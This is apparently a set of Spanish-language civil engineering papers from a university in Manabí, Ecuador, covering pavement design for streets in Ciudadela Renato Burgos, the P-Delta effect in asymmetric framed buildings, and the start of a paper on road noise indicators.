School, O. B. (s.f.). Obtenido de <https://www.obs-edu.com/int/blog-project-management/construccion/fases-proyectos-construccion-las-6-etapas-que-te-conducen-al-éxito>

Normas de Control Interno para las entidades, organismos del sector público, Registro Oficial 78 de 1 de diciembre de 2009

REFERENCIAS BIBLIOGRÁFICAS

Ing. Daniel David Carvajal Rivadeneira, Msc. Docente de la Carrera de Ingeniería Civil de la Universidad Estatal del Sur de Manabí

Carlos Alfredo Piguave Rodríguez, Estudiante en Proceso de Titulación de la Carrera de Ingeniería Civil de la Universidad Estatal del Sur de Manabí

DISEÑO ESTRUCTURAL DE LA CALLE TRANSVERSAL 1,2,3 Y LONGITUDINAL 2,3,4 DE LA CIUDADELA RENATO BURGOS, CANTÓN JIPIJAPA.

Ceme Acosta Rosa Elena

Ing. Alex Vicente Quimiz Tumbaco

Ing. Julio Johnny Regalado Jalca

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

rosacemeacostarosa93@hotmail.com

RESUMEN

En el diseño estructural de la calle transversal de la ciudadela Renato Burgos se consideró normas y factores estructurales, estudio del tránsito, estudio de suelo y levantamiento topográfico, con la finalidad de determinar el nivel de tráfico, suelo no apto para soportar el tráfico, calles que no son simétricas, no existen aceras, bordillos ni líneas de fábrica, que son exigidas por las leyes de los Gobiernos Autónomos Descentralizados Municipales, lo que conlleva a un problema en la construcción de futuras viviendas. En la ejecución del diseño se analizó el tipo de suelo y su capacidad portante de las calles en la zona de estudio, la cantidad de vehículos que circulan por el sector. (TPDA). Además, se verificó y empleó Normas técnicas para la construcción de vías urbanas. Mediante la utilización del método Analítico – Explorativo, se logró conocer cuáles eran las necesidades de los habitantes de la zona de estudio, se utilizaron técnicas como encuestas, entrevistas, observación directa para obtención de información. Los resultados obtenidos mediante el levantamiento de información partieron identificar que existe una pésima planificación de crecimiento urbano, empezando por terrenos baldíos que de apoco se fueron poblando, sin contar con todos los servicios básicos, y un sin número de problemas, motivo por cual es indispensable la ejecución del diseño estructural para mejorar la calidad de vida de los habitantes del sector.

PALABRAS CLAVE: Diseño estructural; TPDA; Calidad de vida.

ABSTRACT

In the structural design of the transverse street of the citadel Renato Burgos was considered rules and structural factors, study of traffic, soil survey and topographical survey, in order to determine the level of traffic, soil not suitable to support traffic, streets which are not symmetrical, there are no sidewalks, curbs or factory lines, which are required by the laws of the Decentralized Municipal Autonomous Governments, which leads to a problem in the construction of future housing. In the execution of the design, the type of soil and its carrying capacity of the streets in the study area, the number of vehicles circulating in the sector, were analyzed. (TPDA). In addition, technical standards for the construction of urban roads were verified and used. By using the Analytical - Explorative method, it was possible to know what the needs of the inhabitants of the study area were, using techniques such as surveys, interviews, and direct observation to obtain information. The results obtained through the collection of information started to identify that there is a bad planning of urban growth, starting with unoccupied lands that were gradually populated, without having all the basic services, and

a number of problems, which is why it is essential the execution of the structural design to improve the quality of life of the inhabitants of the sector.

Keywords: Structural design, TPDA, Quality of life

INTRODUCCIÓN

A través del tiempo el ser humano dejó de ser un migratorio y asentarse en un solo lugar para desarrollar su vida esto trajo consigo carencias que de a poco se fueron presentando y en su afán de mejorar las condiciones de vida y salubridad se vio en la necesidad de, planificar, estudiar, diseñar como sería su entorno esto sucede desde la antigua Roma, los antiguos romanos desarrollaron vías urbanas y vías de comunicaciones hasta lo más recóndito de su imperio.

La ciudadela se encuentra ubicada hacia el extremo Nor–Este, localizada aproximadamente a 1Km y medio. Con respecto al centro de la ciudad.

A medida que ha pasado el tiempo esta ciudadela ha ido creciendo paulatinamente debido al aumento de la población, en la actualidad existen 150 familias que luchan para seguir mejorando sus calles ya que en la época invernal no se puede transitar por dichas vías provocando unas series de problemas en la comunidad.

En la actualidad nuestra ciudad no es ajena a las necesidades que se presentan cuando crece la población, y sin una adecuada planificación en tierras donde no hay servicios básicos y que de apoco se fueron poblando, sus habitantes ven las necesidades que se presentan.

El presente proyecto tiene como finalidad dar a conocer el diseño vial de la ciudadela Renato Burgos, en la investigación que se realizó se tomó en cuenta todos las normas y factores para el diseño de las calles de la ciudadela, en el estudio del tránsito se observó que es una ciudadela de bajo tráfico, al momento solo la calle principal esta lastrada, las demás a nivel de suelo natural presentando los problemas en cada estación climática (polvo en verano, fango en Invierno) causando muchas molestias a sus moradores como también problemas de salud, en el estudio de suelo dio como resultado suelos de arcillas plásticas, por lo cual el suelo no es apto para soportar el tráfico que presenta actualmente.

Por tal motivo es de vital importancia considerar en cada una de las obras de construcción, las propiedades que tiene el suelo, siento este es la base sobre la cual se realizara cualquier tipo de proyecto de construcción.

MATERIALES Y MÉTODOS

Para este diseño vial de la ciudadela Renato Burgos, se utilizaron los métodos de investigación científica, históricos, descriptivos y estadístico.

El método científico permitió realizar una recopilación bibliográfica de artículos y temas (internet, libros) relacionados con el tema a investigar lo cual sirvió para fundamentar el marco teórico y conocer de manera específica la importancia de la planificación del diseño del sector.

El método histórico nos ayudó a analizar e incorporar en la investigación información histórica del problema en mención.

El método descriptivo detalla situaciones, eventos, personas y comportamientos de la situación actual de la ciudadela Renato Burgos.

Y el método estadístico: es utilizado en la recolección, análisis y presentación de resultado de los datos de las encuestas realizadas, se utilizó el programa Microsoft Excel

RESULTADOS Y DISCUSIÓN

En los problemas viales urbanos se lograron proponer posibles soluciones a las complicaciones, de acuerdo con los resultados obtenidos del trabajo de investigación. Para realizarlo en la ciudadela Renato Burgos del Cantón Jipijapa.

En la actualidad la ciudadela Renato Burgos es uno de los sectores del Cantón Jipijapa que carecen de infraestructura, sus vías de acceso están en mal estado, el agua potable llega con irregularidad, como en la mayoría del cantón no se cuenta con alcantarillado sanitario, aceras y bordillos; en si son muchas las falencias que tiene esta ciudadela y es necesario mejorar la calidad de vida de sus moradores.

A través de los datos obtenidos de todos los estudios realizados se obtuvieron los siguientes resultados.

Resultados del (TPDA)

El estudio se lo realizo basado en una proyección a 20 años dando como resultado un tráfico de 184 vehículos diarios en su mayoría livianos (63.64%).

Composición del tráfico

Tabla 1: COMPOSICIÓN DEL TRÁFICO

COMPOSICIÓN DEL TRÁFICO PROMEDIO DIARIO									
Tipo de Vehículo	AP	AC	B	C2	C3	T2-S1	T2-S2	T3-S2	TOTAL
CANTIDAD	19.00	8.00	0.00	2.86	0.00	0.00	0.00	0.00	29.86
% COMPOSICION	63.64	26.79	0.00	9.57	0.00	0.00	0.00	0.00	100.00%

Fuente: Datos obtenidos por el autor

Figura 1: Conteo vehicular

CONTEO DE CLASIFICACION DE TRAFICO VEHICULAR
ESTACION:		CIUADELA RENATO BURGOS								ANO:		2016						
RUTA DE AFORO:		9								MES:		Julio						
ESTADO DEL		6 AM A 8 PM								DÍA:		LUNES 25						
HORA	LVIANOS				PESADOS						EXTRAPESADOS						HORA RIO	
	Ap 1		Ac 2		B 3		C 2		C 2		T2-S1		T2-S2		T3-S2
	Ruta de aforo		Ruta de aforo		Ruta de aforo		Ruta de aforo		Ruta de aforo		Ruta de aforo		Ruta de aforo		Ruta de aforo			
	a	b	a	b	a	b	a	b	a	b	a	b	a	b	a	b		
6:00-8:00	3	3	3	0													9	
9:00-11:00	1	3	1	1			1										7	
11:30-12:30	2	3	1	1													7	
16:00-18:00	4	3	1	0			1										9	
18:00-20:00	3	2	0	1			1										7	
																	0	
																	0	
Total x ruta	13	14	6	3			2	1									Total Diario	
T/DÍA	27		9		0		3		0								39	
Observaciones:																		

Fuente: Datos obtenidos por el autor

Tabla 2: AFORO DE TRAFICO ACTUAL

AFORO DE TRAFICO ACTUAL									
TIPO DE VEHICULO	ENERO								PROMEDIO
	LUNES	MARTES	MIERCOLES	JUEVES	VIERNES	SABADO	DOMINGO	TOTAL	
	25	26	27	28	29	30	31		
Ap	27	27	21	14	13	16	15	133	19.00
Ac	9	9	9	8	9	9	3	56	8.00
B	0	0	0	0	0	0	0	0	0.00
C2	3	3	4	4	3	2	1	20	2.86
C3	0	0	0	0	0	0	0	0	0.00
T2-S1	0	0	0	0	0	0	0	0	0.00
T2-S2	0	0	0	0	0	0	0	0	0.00
T3-S2	0	0	0	0	0	0	0	0	0.00
TOTAL	39	39	34	26	25	27	19	209	29.86

Fuente: Datos obtenidos por el autor

Tabla 2: CONVERSIÓN DEL TRÁFICO ACTUAL

CONVERSIÓN DEL TRÁFICO ACTUAL A TRÁFICO ACTUAL EQUIVALENTE

Tipo de Vehículo	Tráfico actual	Factor de Conversión	Vehículo de diseño
Ap	19.00	0.50	9.50
Ac	8.00	0.50	4.00
B	0.00	1.00	0.00
C2	2.86	1.50	4.29
C3	0.00	1.50	0.00
T2-S1	0.00	2.50	0.00
T2-S2	0.00	2.50	0.00
T3-S2	0.00	2.50	0.00
TA			18.00

Fuente: Datos obtenidos por el autor

Cálculos Realizados:

TA_v =	18.00
i=	0.07
n=	20 años

Tráfico proyectado

$$T_p = T_a(1+i)^n$$

$$T_p = 18.0 \quad (1+0.07)^{20}$$

$$T_p = 18.0 \quad 3.870$$

$$T_p = \mathbf{70.00 \quad vehiculos}$$

Tráfico desarrollado

$$T_D = T_a(1+i)^{n-3}$$

$$T_D = 18.0 \quad (1+0.07)^{17}$$

$$T_D = 18.0 \quad 3.159$$

$$T_D = \mathbf{57.00 \quad vehiculos}$$

Tráfico desviado

$$T_d = 0,2 * (T_p + T_d)$$

$$T_d = 0,2 \quad 70.000 \quad + \quad 57,00$$

$$T_d = 0,2 \quad 127.000$$

$$T_d = \mathbf{25.00 \quad vehiculos}$$

Tráfico generado

$$T_g = 0,25 * (T_p + T_d)$$

$$T_g = 0,25 \quad 70.000 \quad + \quad 57,00$$

$$T_g = 0,25 \quad 127.000$$

$$T_g = \mathbf{32.0 \quad vehiculos}$$

$$\mathbf{T.P.D.A = TP + TD + T_d + T_g}$$

$$T.P.D.A = 70.000 \quad 57,0 \quad 25,0 \quad 32,0$$

$$T.P.D.A = \mathbf{184.00 \quad vehiculos}$$

Corresponde a una vía **colectora de categoría IV** (con un TPDA: 100-300) ya que nuestro TPDA es de 184 vehículos día.

Sirven a poblaciones principales que no están en el sistema arterial nacional.

Resultados de la topografía

Con los datos de la topografía se determinó que el área de la ciudadela es de **26,16 km²** (2,616 Ha). Las calles no son simétricas, las vías tienen un total de 864.20 m, la pendiente máxima es del 8.36%, además quedan proyectadas las aceras, bordillos y líneas de fábrica.

Resultado de los ensayos de suelo

En el siguiente cuadro se detallan los resultados obtenidos para cada material que se estudió. Los resultados obtenidos del estudio de la sub-rasante determino que, es un material no apto y de acuerdo a la clasificación ASSTHO es pésimo.

Tabla 3: Ensayos de suelo

MATERIAL	CLASIFICACION	INDICE DE PLASTICIDAD	HUMEDAD OPTIMA	NUMERO CBR	OBSERVACIONES
SUBRASANTE	(CH) ARCILLAS INORGANICAS	22.99	26.43 %	1.7	MATERIAL NO APTO

	DE ALTA PLASTICIDAD.				
SUB-BASE	(GC) Gravas arcillosas, mezcla mal graduadas de gravas, arenas y arcillas	7.28	10.74	33.2	CUMPLE CON LA ESPECIFICACION
BASE	(GC) Gravas arcillosas, mezcla mal graduadas de gravas, arenas y arcillas	9.69	9.28	78.6	CUMPLE CON LA ESPECIFICACION

Fuente: Datos obtenidos por el autor

Resultados del diseño estructural de la vía utilizando el método ASSHTO-93

Detalle a continuación los espesores de cada capa sus módulos de resiliencia, coeficiente estructural, y número estructural.

El resultado obtenido en ejes equivalente de 30621.25 de espesores mínimos de capas para el pavimento, se encuentra ubicado en el rango de menor de 50000 vehículos, se tomo en consideración colocar carpeta asfáltica de 2.67 pulgadas mínimo para obtener mayor durabilidad.

Tabla 3: ESPESORES OBTENIDOS POR CAPA

CAPA	MODULO RESILIENTE (PSI)	COEFICIENTE ESTRUCTURAL (a)	NUMERO ESTRUCTURAL L (SN)	ESPESOR (CM)	OBSERVACIONES
ASFALTO	380000	0.41	0.1.085	7	ESTABILIDAD MARSHALL 1800
BASE	29000	0.134	1.45	10	-----
SUB-BASE	15300	0.11	2.87	28	-----

Fuente: Datos obtenidos por el autor

CONCLUSIONES

- El análisis del aforo vehicular se patentizo que es una vía de bajo tráfico; con Trafico Promedio Diario Anua (TPDA) de 184 vehículos /día.
- En el levantamiento topográfico se pudo observar que las calles son de geometría variable y que las vías actualmente no cumplen con las especificaciones técnicas viales urbanas; la pendiente máxima es de 8.36 %.

- De acuerdo a lo investigado se pudo apreciar que la sub-rasante no posee una adecuada capacidad portante (resistencias al corte) debido a que su C. B. R es de 1,7 %; vemos que no es apto inclusive para el bajo tráfico vehicular que posee.
- Al realizar el cálculo estructural de la vía los resultados fueron los siguientes: un espesor capa de rodadura de 7 cm; una base granular de 10 cm y una sub-base de 20 cm; esta cumple con las normas ASSTHO 93 para un periodo de diseño de 20 años.

RECOMENDACIONES

Esperando que estas recomendaciones tengan la importancia y la acogida al esfuerzo desarrollado en el proyecto investigativo, expongo las siguientes recomendaciones:

- Al diseñar una vía a más de tomar el factor de tráfico promedio, se debe proyectar con el tipo de tráfico a futuro que tendrá la vía y se lo realice de acuerdo a los cálculos, normas y especificaciones técnicas sugeridas por el MTOP y las normas AASHTO.
- Se deberá tomar en cuenta para el diseño de las vías: ancho de calles, aceras, líneas de fábrica, para facilitar el diseño vial. ya que al tener calles simétricas será más fácil y rápido concretar el proyecto.
- Que sea analizado el material de préstamos al momento de mejorar la sub-rasante y se realice un estudio de canteras, con la finalidad de seleccionar el material adecuado. El estudio de suelo es imprescindible para el diseño estructural de la vía.
- Las normas ASSTHO a partir de la Segunda Guerra Mundial y ha tenido actualizaciones hasta el año 1993, todo diseñador de vías deberá indagar las actualizaciones de esta norma y además que se realice un mantenimiento anual con el objetivo de mantener la vía en buen estado, cumpliendo con las expectativas de lo proyectado en los cálculos, para alcanzar a plenitud el tiempo de servicio.

REFERENCIAS BIBLIOGRÁFICAS

Andrade. (2007). definición moderna de los parámetros para el diseño de pavimentos. Sangolqui: Espe.

ASTM D4318-05. (1916). Standard Test Method for Liquid Limit, Plastic Limit and Plasticity Index of soils. Estados Unidos: Juarez badillo.

construccion, e. d. (03 de 2008). ingenieriacivil.com. Obtenido de <http://www.ingenieriacivil.com/2008/03ensayos-de-suelos-en-laconstruccionde>.

From, R. (1990). Topografía en Vías. Estados Unidos: from.

From, R. (01 de Febrero de 2011). Tramportelujcv.blogspot.mx. Obtenido de el-transito-promedio-diario-anual: <http://tramportelujcv.blogspot.mx/2011/02/el-transito-promedio-diario-anual-tpd>

ISBN 968-18-1894-6. (1997). Massachusetts. Mexico: Limusa.

Jurado, R. (2010). estudios preliminares y diseño de vías. Guayaquil-Santa Elena: KJ.

Martines, M. (2014). Texturas del suelo y ciclo del agua. Mexico: diego fallon.

Ministerio de Transporte y Obras Públicas. (2002). normas de diseños de vías. Quito: MTOP.

Monografias. com . (lunes de enero de 2010). Educacion Vial . Obtenido de <http://www.monografias.com/trabajos82/educacion-vial/educacion-vial2.shtml>

MTOP. (2002). normas de diseño de vías. normas de diseño de vías, 100-200.

Principiantes, T. p. (05 de febrero de 1985). www.monografias.com. Obtenido de trabajo85: <http://www.monografias.com/trabajos6/elsu/elsu.shtml#ixzz3hJb2qVI6>

Rebolledo. (2010). deterioros en pavimentos. Valdivia- Chile.

Rico, I. E. (2012). Manual de laboratorio de mecánica de suelos. Mexico: A.R.

WHITMAN, T. W. (1997). MECANICA DE SUELOS. MEXICO: LIMUSA.

BIOGRAFÍA DE AUTORES

Ceme Acosta Rosa Elena, Estudiante de la carrera de Ingeniería Civil en la Universidad Estatal del Sur de Manabí Jipijapa-Manabí-Ecuador, Bachiller en Comercialización y ventas en el Colegio Nacional Técnico "Uruguay" Portoviejo-Manabí-Ecuador.

Ing. Alex Vicente Quimiz Tumbaco, Ingeniero civil por la Universidad Estatal del Sur de Manabí. desde el 2016 trabaja en la empresa pública de servicios unesum (epsu) por prestación de servicios profesionales en diferentes obras que ejecuta dicha empresa. Ayudante de cátedra. Contratista de diferentes obras y fiscalizador de obra en el UPOCAM

Ing. Julio Johnny Regalado Jalca, Ingeniero en Computación y Redes en la Universidad Estatal del Sur de Manabí, Magister en Educación Informática por la Universidad de Guayaquil. Desde el 2012 hasta el 2013, docente de la Carrera de Ingeniería en Computación y Redes y desde el 2014 a la actualidad se desempeña como Docente en la Universidad Estatal del Sur de Manabí en la carrera de Ingeniería Civil.

EL EFECTO P-Δ ESTÁ PRESENTE EN EDIFICIOS APORTICADOS CONSTRUIDOS EN MANABÍ, SEGÚN EL NEC-15.

Ing. Gery Lorenzo Merino

Ponce Regalado Douglas Stalin

Charcopa Gongora Jhan Carlos

Andy Steeven Mármol García

Ariana Loor Del Valle

UNIVERSIDAD ESTATAL DE SUR DE MANABÍ

douglaspo1995@hotmail.com

carlos-059@hotmail.com

aridelvalle_3@hotmail.com

RESUMEN

Se analiza en el campo de la ingeniería estructural, el comportamiento de edificios Aporticados construidos en Manabí, cuyas características de construcción son mantener asimetrías tanto en planta como en elevación, en sí mismo de desea afirmar el trabajo realizado el 2009 por ingeniero Gery Marcillo a investigación fue enfocada en estructuras de 1 a 4 pisos donde se pudo verificar que sus desplazamientos eran superiores al 2% que establecía la norma NEC-15

PALABRAS CLAVES: Efecto P-Delta. Ingeniería Estructural. Construcciones Sismo resistentes.

ABSTRACT

The behavior of Aporticados buildings built in Manabí is analyzed in the field of structural engineering, whose construction characteristics are to maintain asymmetries both in plan and in elevation, in itself of which it wishes to affirm the work carried out in 2009 by engineer Gery Marcillo to research was focused on structures from 1 to 4 floors where it was possible to verify that their displacements were higher than 2% established by the NEC-15 standard

KEYWORDS: P-Delta effect. Structural engineering. Earthquake resistant constructions. Ecuador

INTRODUCCIÓN

El Ecuador fue afectado por el terremoto del 16 de abril del 2016, con daños materiales y de pérdidas humanas incalculables, se conocieron de más de una estructura que fueron presentando desalineaciones, como de otras que llegaron al colapso.

En el año 2010 como parte de un trabajo de maestría se determinó que estructuras aporticadas, asimétricas de hormigón armado construidas en varios sectores de Manabí, presentaron inestabilidad global, con derivas mayores a lo permisible de nuestra normativa NEC-15.

En el año 2016 se actualizó algunos modelos de la investigación realizada con la actualización de la normativa vigente, ratificándose sus resultados. También se sumaron nuevos prototipos para evaluación, dos pisos, de nueve pisos y de cinco pisos.

Se presenta resultados de la inestabilidad global de estructuras construidas en Manabí, comúnmente conocido como efecto P- Δ , es decir en un escenario de un antes y un después del terremoto del 16 de abril del 2016.

Los movimientos dinámicos son recurrentes, y las fuerzas laterales causan efectos de segundo orden que constituye el determinante del efecto P- Δ , por lo que los riesgos continúan presentes en las estructuras aporticadas asimétricas y con desalineaciones.

MATERIALES Y MÉTODOS

No iterativo basado en la masa

La carga es calculada automáticamente a partir de la masa de cada nivel como una carga de piso a piso sobre la estructura.

La razón por la que se proporciona este método es para permitir considerar el efecto P- Δ en casos donde se ha especificado cargas de gravedad se recomienda usar la opción basada iterativamente en los casos de cargas.

Iterativo Basado en los casos de cargas

La carga es calculada a partir de una combinación específica de casos de cargas estáticos. A esto se le llama “Combinación de Cargas P- Δ ”, por ejemplo, la carga puede ser la suma del caso de carga muerta más una fracción de un caso de carga viva. Este método requiere una solución iterativa, considera el efecto P- Δ bajo el principio básico elemento por elemento, también toma mejor el pandeo local.

RESULTADOS Y DISCUSIÓN

En Manabí, tenemos una cultura de construir edificaciones de tipo irregular tanto en planta como en elevación, en estas condiciones la estructura se somete a incrementos de fuerzas internas, momentos y deriva de piso que afectan directamente a la estabilidad de la estructura, tanto en el campo estático como dinámico.

En el año 2009, el Ing. Gery Marcillo realizó un trabajo de investigación en estructuras realizados en la provincia desde 1 hasta 4 pisos, y donde se concluyó que los desplazamientos fueron mayores al 2%, que lo establecen las Normas Ecuatorianas de la Construcción.

En el año 2010, El Dr Roberto Aguiar Falconí, Investigador de la Escuela Politécnica del Ejército en el artículo denominado “Una contribución a la peligrosidad Sísmica de Manabí”, transcribe en sus conclusiones que se espera un sismo de máxima magnitud con valores comprendidos entre 7 y 8 grados además con una aceleración esperada mayor a 0.4g

Posteriormente se evaluó una estructura después del 16 de Abril del 2016 A LAS 18H58, donde nuestra provincia sufrió un terremoto

Se tomó el trabajo los resultados del trabajo de investigación realicomo referencia una muestra de las estructuras Aporticados de Hormigón Armado en la Provincia de Manabí, de 1 hasta 4 niveles.

Edificios asimétricos en planta y elevación y que están construido en un lugar de la provincia de Manabí (Bahía de Caráquez), y en la parte derecha observamos las fuerzas rotacionales y traslacionales ante la acción dinámicas.

Las Normas Ecuatorianas de la Construcción NEC-15, establece que el control de deformaciones inelásticas tiene que ser evaluado en su máxima condición durante la fase de diseño de una estructura, ya que se afectará las fuerzas axiales, cortante, y momentos flectores, que tratarán de voltear a la misma. **Este comportamiento lo define como efecto $P-\Delta$ o efecto de segundo orden.**

Modelación de un edificio, en su etapa de diseño, y con asimetría respecto a la planta y la elevación.

Consecuentemente, en las construcciones actuales en sus criterios de diseños se omite **el análisis del efecto $P-\Delta$** , lo que conduce a una **subestimación de las fuerzas** en la estructura y por lo tanto a una mayor vulnerabilidad.

Análisis e interpretación de los resultados

Es necesario que los resultados obtenidos tiene concordancia respecto a ciertas recomendaciones de la NEC-15, que establece “**en ciertas ocasiones no sea las fuerzas sísmicas, sino el control de deformaciones, el parámetro a ser enfrentado durante la fase de diseño de una estructura**”, ya que cuando se evaluaron los modelos en el campo Modal espectral, Modal con el Efecto P delta iterativo, y el Modal P delta no iterativo, se pudo comprobar que son muy significativos los desplazamientos laterales máximos de la estructura, especialmente en la periferia de la construcción, y

que se produce por la excitación sísmica que origina los movimientos asincrónicos en los distintos puntos del edificio.

En las condiciones geométricas en planta y elevación varias plantas presentaron torsión, y que se reflejaron en el estresa miento de los elementos estructurales, la ingeniería estructural permite evaluar el modelo y evaluar los resultados del periodo fundamental, las derivas de piso y los desplazamientos en el tope, y que dejaron los siguientes resultados.

RESULTADOS DE DRIFT EN EDIFICACIONES

Los resultados muestran a una estructura ligera, con resultados de derivas fuera de lo establecido en la normativa que es el 2%, **en los dos primeros pisos y el último.**

RESULTADOS DE CORTANTE BASAL EN EDIFICIOS

RESULTADOS OBTENIDOS EN DESPLAZAMIENTOS ROTACIONALES

CORTANTE BASAL ESTATICO Y MODAL ESPECTRAL CON P-DELTA ITERATIVO

CONCLUSIONES

Los valores encontrados en los desplazamientos traslacionales para un sismo se incrementan significativamente en más de un 10%, comparado entre el análisis estático y el modal espectral afectado por el efecto P delta, como fue el caso tomado después del terremoto del 16 de Abril del 2016.

Es coherente la preocupación recomendadas por el comité VISION 2000 de los Estados Unidos de Norte América, en cuyo caso de ser operacionales dando lugar en algunos casos hasta el colapso.

Los métodos iterativos incrementan los periodos de vibración, por lo que en el análisis dinámico resultarían inapropiados bajo la condición del análisis modal espectral iterativo.

El comportamiento modal afectado por el efecto P- delta, da resultados asincrónicos, ya que los productos de las excentricidades pueden generar que el centro de masa respecto al centro de rigideces quede fuera del plano.

Debido a que el “drift”, que reporta ETABS es reducido en función del factor “R”, fue necesario multiplicarse por ese mismo factor para obtener el desplazamiento elástico real, en la forma como se describe a continuación:

$$\Delta_{\text{real}} = R * \Delta_{\text{reducido}}$$

REFERENCIAS BIBLIOGRÁFICAS

Gery M. (año), tema de la tesis (tesis de Maestría), Universidad Técnica de Manabí, Ecuador.

Mauricio V. (2018), Análisis patológico en la vivienda de la Familia Triviño Ubicada en la Ciudad de Manta (Tesis de pregrado), Universidad Estatal del sur de Manabí, Ecuador.

E. L. Wilson and A. Habibullah. (1987). "Static and Dynamic Analysis of Multi-Story Buildings Including P-Delta Effects," Earthquake Spectra, Earthquake Engineering Research Institute, Vol. 3, No.3.

E. L. Wilson and A. Habibullah, (1987), "Static and Dynamic Analysis of Multi-Story Buildings Including P-Delta Effects," Earthquake Spectra, Earthquake Engineering Research Institute, Vol. 3, No.3,

Load and Resistance Factor Design Specification for Structural Steel Buildings, American Institute of Steel Construction, Inc., Chicago, Illinois, December, 1993.

Dr. Roberto Aguiar F., Apuntes de Maestría en ciencias de la ingeniería estructural dictado en la Universidad Técnica de Manabí

Building Code Requirements for Reinforced Concrete (ACI 318-95) and Commentary (ACI 318R-95), American Concrete Institute, Farmington Hills, Michigan, 1995.

Marcelo Romo., Apuntes de Hormigón Armado

BIOGRAFIA DE AUTORES

Ing. Gery Lorenzo Merino, Ing. Civil, Msc. Ciencias de la ingeniería estructural, Universidad Técnica de Manabí, Docente de la Universidad Estatal del Sur de Manabí

Ponce Regalado Douglas Stalin, Investigador Externo, Ingeniero Civil, Universidad Estatal del Sur de Manabí Graduado en la Unidad Educativo Fiscal Alejo Lascano como Físico

Charcopa Gongora Jhan Carlos, Estudiante en la carrera de Ingeniería Civil de la Universidad Estatal del Sur de Manabí. Graduado en la Unidad Educativa Fiscal 5 de agosto (esmeraldas) como bachiller en contabilidad y administración

Andy Steeven Mármol García, Estudiante en la carrera de Ingeniería Civil de la Universidad Estatal del Sur de Manabí. Graduado en la Unidad Educativa fiscomisional Juan XXIII como bachiller en electromecánica. Además, hecho los estudios escolares iniciales y graduado hasta el séptimo Año en la Unidad Educativa Particular Eugenio Espejo de la ciudad de Quinindé, Provincia Esmeraldas:

Ariana Loor Del valle, Estudiante en la carrera de Ingeniería Civil de la Universidad Estatal del Sur de Manabí. Graduado en la Unidad Educativa Fiscal Alejo Lazcano como bachiller en ciencias

INDICADOR RUIDO EN EL ESTUDIO Y CONSTRUCCION DE VÍAS

Reyes Pionce Bryan Alberto

Ing. Peralta Delgado Jaime Adrian

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

RESUMEN

La generación de ruido es un indicador a tener en cuenta tanto en la etapa de estudio como en la construcción y puesta en funcionamiento de una vía. Por lo que en el presente trabajo se proponen, después de una búsqueda y compatibilización tanto en la bibliografía nacional e internacional como en las leyes ecuatorianas vigentes, el análisis de distintos métodos y modelos de previsión de impactos utilizados por diferentes países e instituciones valorando las consideraciones que se establecen en cada uno de ellos para su posible utilización en Ecuador. Proponiendo a su vez una utilización de la previsión de generación de ruido en los proyectos viales del Ecuador.

PALABRAS CLAVES: ruido, modelos, vía.

ABSTRACT

The generation of noise is an indicator to be taken into account both in the study stage and in the construction and commissioning of a road. Therefore, in the present work, after a search and compatibility in the national and international bibliography as well as in the Ecuadorian laws in force, the analysis of different methods and models of forecasting of impacts used by different countries and institutions evaluating the considerations that are established in each of them for possible use in Ecuador. Proposing in turn a use of the noise generation forecast in road projects in Ecuador.

KEYWORDS: noise, models, track.

INTRODUCCIÓN

El transporte constituye hoy día una de las mayores amenazas al equilibrio ecológico del planeta. El elevado consumo energético y la emisión de contaminantes atmosféricos, que además contribuyen al calentamiento global, el ruido, la ocupación del suelo por las infraestructuras, la intrusión visual, la ruptura de ecosistemas, la congestión, la accidentalidad y los riesgos del transporte de mercancías peligrosas, son los impactos negativos principales de los sistemas de transporte.

Sin embargo, en nuestros días el derecho a la movilidad es consustancial al modo de vida de la sociedad. Desde la antigüedad, el desarrollo de las vías ha estado aparejado al desarrollo de la humanidad, así lo demuestra el lema de la Asociación Permanente de los Congresos de Carreteras, PIARC, que es VIA VITA, la vía es vida.

Se plantea el reto del desarrollo sostenible asociado a la esfera del transporte. Para los países en desarrollo este reto requiere de grandes transformaciones políticas, económicas y sociales.

Ruido

El ruido se define como todo sonido indeseable para quien lo percibe.

Para la medición del sonoro se utiliza el nivel de presión acústica (L), adoptándose como unidad de medida el decibelio, (dB).

$$L = 10 \log (P/P_0)^2$$

Siendo P la presión eficaz del sonido medido, P₀, la presión acústica de referencia que se corresponde con la menor presión acústica que un oído joven y sano puede detectar en condiciones ideales (2.10⁻⁴ bar). Usualmente se toman las medidas de ruido obtenidas aplicando la curva de ponderación A, expresándolas en dBA. Los niveles máximos admisibles de ruido constituyen los requisitos higiénicos sanitarios que establecen los límites de utilización de los territorios.

En la mayoría de los países están reglamentados los niveles máximos admisibles de ruido. En algunos como en Suecia y Japón (RC1020, 1987) a través del nivel sonoro estadístico L_n que es el nivel de ruido excedido el n% del tiempo durante el período de observación. Los valores de L_n más usados son L₁₀, L₅₀ y L₉₀. En otros países como Estados Unidos, España, Canadá y en Cuba los valores se establecen a partir del Leq. Y que en Ecuador se lo define como NPSeq.

Siendo NSPeq el nivel de presión sonora constante, expresado en decibeles A [dB(A)], que en el mismo intervalo de tiempo, contiene la misma energía total que el ruido medido. El porcentaje de tiempo P_i, para un decibel específico NPS_i, será la fracción de tiempo en que se verificó el respectivo valor NPS_i, calculado como la razón entre el tiempo en que actuó este valor y el tiempo total de medición. El nivel de presión sonora equivalente se determinará mediante la siguiente ecuación:

$$NPSeq = 10 * \log^* \sum (P_i) 10^{\frac{NPS_i}{10}}$$

El índice ambiental que se propone para esta variable es el nivel de presión sonora equivalente NPSeq.

Las mediciones del nivel sonoro se efectuarán con la determinación del NPS para el período diurno y nocturno más desfavorable en la vivienda y en las áreas aledañas, según lo establecido en el Texto Unificado de Legislación Ambiental del Ecuador.

Tabla 1 Niveles Máximos de Ruido Permisibles según Uso del Suelo

TIPO DE ZONA SEGÚN USO	NIVEL DE PRESIÓN SONORA EQUIVALENTE	
	NPS eq [dB(A)]	
DE SUELO	DE 06H00 A 20H00	DE 20H00 A 06H00
Zona hospitalaria y educativa	45	35
Zona Residencial	50	40

Zona Residencial mixta	55	45
Zona Comercial	60	50
Zona Comercial mixta	65	55
Zona Industrial	70	65

Modelos para medición de Ruido

Las acciones que causan un incremento en el nivel sonoro de la zona se pueden dividir en dos fases temporales del proyecto; la obra y la explotación. Durante la primera etapa se producen, tanto incrementos del nivel sonoro continuos como puntuales, mientras que en la explotación los incrementos son de carácter continuo.

Las acciones más importantes en la fase de obras de carácter puntual son las voladuras, bien en el trazado de la carretera, bien en la cantera; entre las de carácter continuo la construcción de la vía, especialmente por utilización de maquinaria pesada, el incremento del tráfico rodado de camiones para transporte de materiales, los de plantas de tratamiento de materiales, etc. Estos impactos son temporales y con posibilidades de mitigación.

